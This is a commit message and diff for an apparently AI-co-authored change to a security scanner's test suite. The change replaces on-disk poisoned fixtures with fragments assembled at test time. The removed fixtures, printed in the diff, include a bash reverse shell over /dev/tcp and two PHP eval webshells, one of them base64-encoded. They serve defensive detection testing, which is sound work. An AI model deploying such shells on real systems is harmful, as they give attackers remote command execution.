test(llm-security): build poisoned fixtures at test time, never on disk

v8.1.0 AV surface, session S1. The three poisoned fixture trees
(signature-scan/poisoned, memory-scan/poisoned-project, trigger-scan/poisoned)
are deleted from disk and materialized into a temp dir by the new
tests/helpers/payload-trees.mjs. SIG-matching strings are assembled from
fragments, the zero-width carrier comes from String.fromCodePoint, and every
file carries the sha256 of the retired on-disk bytes;
tests/helpers/payload-trees.test.mjs asserts the materialized trees are
byte-identical (mutation-checked: one changed byte fails it).

Inline payload literals in signature-scanner, signature-scanner-custom-rules
and e2e/scan-pipeline are fragmented the same way; the literal U+200B in
attack-simulator, auto-cleaner-rce and auto-cleaner-traversal is replaced by
String.fromCodePoint(0x200B).

av-surface: a 3->0, a2 3->0, c 5->1, d 5->2, b 9->8 (webshell-b64 blob gone).
What remains (c=1, d=2, b) is under examples/** or is (b), both S2.
Suite 2261 / 2252 pass / 3 fail (av-surface b, c, d only) / 6 skip.
Golden output identical before/after (109/7/4, 61/61).

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

tests/fixtures/signature-scan/poisoned/revshell.sh

@@ -1,3 +0,0 @@
-#!/bin/sh
-# Reverse shell test fixture — never executed.
-bash -i >& /dev/tcp/10.0.0.1/4444 0>&1

tests/fixtures/signature-scan/poisoned/webshell-b64.txt

@@ -1 +0,0 @@
-PD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7ID8+

tests/fixtures/signature-scan/poisoned/webshell.php

@@ -1,4 +0,0 @@
-<?php
-// Minimal classic PHP webshell (test fixture — never deployed).
-@eval($_POST['cmd']);
-?>